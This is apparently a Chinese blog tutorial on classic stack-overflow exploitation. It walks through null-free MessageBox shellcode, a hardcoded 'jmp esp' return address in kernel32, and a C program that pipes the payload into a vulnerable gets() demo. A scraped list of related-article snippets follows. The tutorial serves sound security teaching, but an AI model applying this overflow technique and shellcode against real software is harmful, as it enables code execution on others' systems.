在1.2节中我们编写了一个有漏洞的程序,通过输入可以控制其EIP,本节,我们要让example_2运行我们的MessageBox。再看看example_2:

/*****************************************************************************/
// example_2: 演示栈溢出
#include <stdio.h>void get_print()
{
    char str[11];    gets(str);
    printf("%s\n", str);
}int main()
{
    get_print();    return 0;
}
/*****************************************************************************/
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

问题出在gets函数,要运行MessageBox,我们可以通过gets没有长度限制来输入1.3节中的Shellcode,但实际情况不像 example_4那么简单,有不少问题要解决。

(1)空字符 
操作码含有不少空字符,在example_4中没有什么问题,因为它实际上并不是一个字符串,而是一段指令。但是现在,我们只能通过gets函数输入这段指令,因此,它必须被当做一个字符串读入。所以,它不能包含空字符。这个问题容易解决,只要把带有空字符的指令用等效的指令替换就可以了。例如,可以把PUSH 0 换为: XOR EAX,EAX; PUSH EAX。 
修改后的程序如下:

/*****************************************************************************/
// example_6 替换产生空字符的指令后的程序
int main()
{__asm{push    ebpmov ebp, espxor     eax, eax    // "ld"mov ax, 0x646cpush    eaxpush    0x726f576f  // "oWor"push    0x6c6c6548  // "Hell"push    0x00000031  // "1"push    0x5f656c70  // "ple_"push    0x6d617865  // "exam"mov ax, 0x6c6c  // "ll"push    eax push    0x642e3233  // "32.d"push    0x72657375  // "user"lea     ebx, [ebp-24h]push    ebxmov ebx, 0x7c801d7b call        ebx // LoadLibraryAxor     eax, eaxpush    eaxlea     ebx, [ebp-18h]push    ebxlea     ebx, [ebp-0ch]push    ebxpush    eaxmov ebx, 0x77d507ea // MessageBoxAcall        ebxpush    eaxmov ebx, 0x7c81cafa // ExitProcesscall        ebx}
}
/*****************************************************************************/
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
/*****************************************************************************/
// example_7无空字符的Shellcode
char opcode[] = "\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"
"\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";   int main()
{int* ret;ret = (int*)&ret + 2;(*ret) = (int)opcode;
}
/*****************************************************************************/
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

这里说明一个东西——指令前缀,在操作码中会用冒号隔开,但是冒号本身不是操作码的一部分,提取操作码的时候不要加入冒号。如下: 
 
图27

(2)无法输入的字符 
如果只是abcd这种常见字符,很容易输入,但是操作码中含有一些无法输入的字符。例如,example_7中的操作码打印出来是这样子的:

图28

这个问题很容易解决,cmd命令行中有管道命令,因此,可以通过管道命令向example_2输入。用一个程序将Shellcode打印出来,然后通过管道输入到example_2即可。

(3)EIP修改为多少? 
这也是最重要的问题,因为我们的目的就是控制EIP执行输入的Shellcode。那EIP修改为多少呢?当然是修改为Shellcode的首地址。但是不像 example_4中,我们明确指定Shellcode的地址,现在我们不知道。这由几种办法来解决,我们先用最笨的办法,即通过Immunity Debugger找到这个地址。 
用Immunity Debugger打开example_2,这次,我们输入16个A和4个B,以及一大串C, 
在get_print函数中POP EBP处下断点: 
 
图29

查看栈的内容: 
 
图30

BBBB为返回地址(EIP),因此,Shellcode起始地址为0x0012FF1C。

为了黑example_2,需要修改Shellcode,要在首部填充16个A(正常输入+填充EBP),然后填充0x0012FF1C,然后是原Shellcode。你注意到问题了吗?对的,EIP的填充地址0x0012FF1C,包含了空字符,这次,我们无法再替换掉它,而且,地址必须为四字节。因此,这种方法行不通。看来,想偷下懒都不行了。

我们需要另辟蹊径了。那么,还有什么是与栈上这个地址有关呢?与栈最密切的是EBP,ESP这两个寄存器,说到这,你可能已经知道了。是的,函数RET指令返回时取走保存的EIP之后,ESP指向的位置就是Shellcode的初始地址。

 
图31

因此,要让程序执行Shellcode,只需要一句 jmp esp就行了。所以,我们应该把EIP填充为一句jmp esp指令的地址,这样,EIP返回后,执行一句jmp esp,然后就跳转到Shellcode开始执行。但是,example_2中没有jmp esp,因此,我们需要在其它模块中找一条该指令。在Immunity Debugger中,右键Search for——All commands in all modules,键入jmp esp,查找结果如下:

 
图32

在MSVCR90D.dll和kernel32.dll中各找到一条,我们使用kernel32.dll中的,记下其地址:0x7c86467B。这个地址是可用的,不包含空字符。

下面是输出Shellcode的程序,它将通过管道将Shellcode输入给example_2:

/*****************************************************************************/
// example_5 打印Shellcode
#include <stdio.h>char opcode[] = "AAAAAAAAAAAAAAAA\x7B\x46\x86\x7c"
"\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"
"\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";   int main()
{printf("%s", opcode);
}
/*****************************************************************************/
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

下面是见证奇迹的时刻,在命令行下输入如下内容: 
 
图33

弹出了MessageBox,我们成功的黑掉了具有漏洞的example_2。

栈溢出笔记1.4 黑掉example_2相关推荐

  1. 栈溢出笔记1.10 基于SEH的栈溢出

    上节中简单地讲述了SEH的原理及逻辑结构.本节,要继续讲述SEH的物理结构及如何利用它进行栈溢出. 先来看SEH的物理结构.先回想上节中的图51,我们在程序停在gets函数输入的时候查看SEH链,看到 ...

  2. U盘攻击:无视防火墙-3秒黑掉你的电脑|BadUSB-制作教程

    U盘攻击:无视防火墙-3秒黑掉你的电脑|BadUSB-制作教程 BadUSB简介 吾旧友,拾U盘,彼异之,插PC,遂上线. 这个愚蠢精彩故事不禁让我萌生学习制作一个BadUSB的想法,为了贴合实际,特 ...

  3. 德国小哥1人“黑掉”谷歌地图:99部手机就能造成交通拥堵

    十三 发自 凹非寺 量子位 报道 | 公众号 QbitAI 想要"黑掉"谷歌地图,99部手机就够了. 对于大多数开车的人来说,想要去一个不熟悉的地方,地图APP无疑是一个非常有利的 ...

  4. kali linux关闭进程,技术|如何使用 Kali Linux 黑掉 Windows

    Kali Linux 派生自 Debian Linux,主要用于渗透测试,拥有超过 300 个的预安装好的渗透测试工具.Metasploit 项目中 Metasploit 框架支持 Kali Linu ...

  5. 俄罗斯四人***团伙黑掉整个城市ATM机

    俄罗斯警方近日破获了一起高科技犯罪活动,并分别在雅库茨克和莫斯科将该团伙的四名成员缉拿归案.这群***涉嫌黑掉了整个雅库茨克城市的所有ATM提款机,雅库茨克总人口约21万.这个犯罪团伙的四人分工明确, ...

  6. CIA怎么监控黑掉的Linux服务器?用流量劫持

    本文讲的是CIA怎么监控黑掉的Linux服务器?用流量劫持, 维基解密这两天公布了一份新的CIA泄漏恶意软件文档,它介绍了CIA专为Linux系统打造的持久性控制工具--OutlawCountry. ...

  7. 26秒!全球销量第一的AI音箱就被腾讯黑掉了,然后变身窃听器

    雷刚 发自 凹非寺  量子位 报道 | 公众号 QbitAI 对不起,你担心的事情成真了. 现在你买一台"能说会道"的智能音箱,能秒变窃听器. 所谓AI+IoT,正在把所有人带入一 ...

  8. 从“黑掉Github”学Web安全开发

    2019独角兽企业重金招聘Python工程师标准>>> 本文转载自酷壳(CoolShell.cn),原文内容如下. Egor Homakov(Twitter:@homakov  个人 ...

  9. 利用SAP 0day,四分钟内黑掉华尔街

    本文讲的是利用SAP 0day,四分钟内黑掉华尔街,2017年5月20日,由唯品会信息安全部主办,唯品会安全应急响应中心承办的"因唯安全,所以信赖--深度揭秘唯品会信息安全建设实践 2017 ...

最新文章

  1. 深入Managed DirectX9(四)
  2. pat乙级相当于什么水平_林书豪在CBA相当于什么水平的外援?
  3. zabbix监控mysql的哪些参数_Centos6.3下zabbix监控mysql数据库参数
  4. Java中的带参方法
  5. 解决Android 启动模拟器是出现“Failed to allocate memory: 8”错误提示
  6. AI和大数据结合,智能运维平台助力流利说提升核心竞争力
  7. SpringAOP+自定义注解实现日志功能
  8. one_code=soup.find('a',href=re.compile(rill)) NameError: name 're' is not defined
  9. 关于nginx性能优化CPU参数worker_cpu_affinity使用说明
  10. UOS U盘已经复制成功,有时卡死
  11. PHP通过反射获得类源码
  12. Windows Mobile 6.5开发环境搭建
  13. 实验二 语法分析1——递归子程序法
  14. iphone8强制重启进入恢复模式进入DFU模式[2021-11-05]
  15. Linux中/usr目录详解
  16. 移动端字体加粗的解决方案
  17. videojs进度条始终为零
  18. 密码学安全性证明中的挑战者和攻击者
  19. 【C#】TODO的作用
  20. 邀请函 |「相信开放的力量」PingCAP D 轮融资线上发布会

热门文章

  1. 计算机二级c语言公共基础知识(免费的) 百度云,计算机二级c语言公共基础知识(免费的).doc...
  2. matlab中tsne函数,t-Distributed Stochastic Neighbor Embedding
  3. 吃鱼可以不挑刺了?华中农业大学发现鳊鱼肌间刺表达基因,可培育“无刺鱼”...
  4. 高颜值免费在线绘图工具新增WGCNA和差异分析
  5. 中blur函数_Comonad在图像处理中的应用
  6. laravel操作$request中值删除、增加、替换等方式的代码实例
  7. java 字符串转查找_Java 实例
  8. 最大尺寸分辨率_未来就在眼前!全球最大尺寸、最高分辨率硅基OLED显示屏在肥点亮...
  9. requirejs插件-domReady插件
  10. python常用api_[原创]IDAPython常用API整理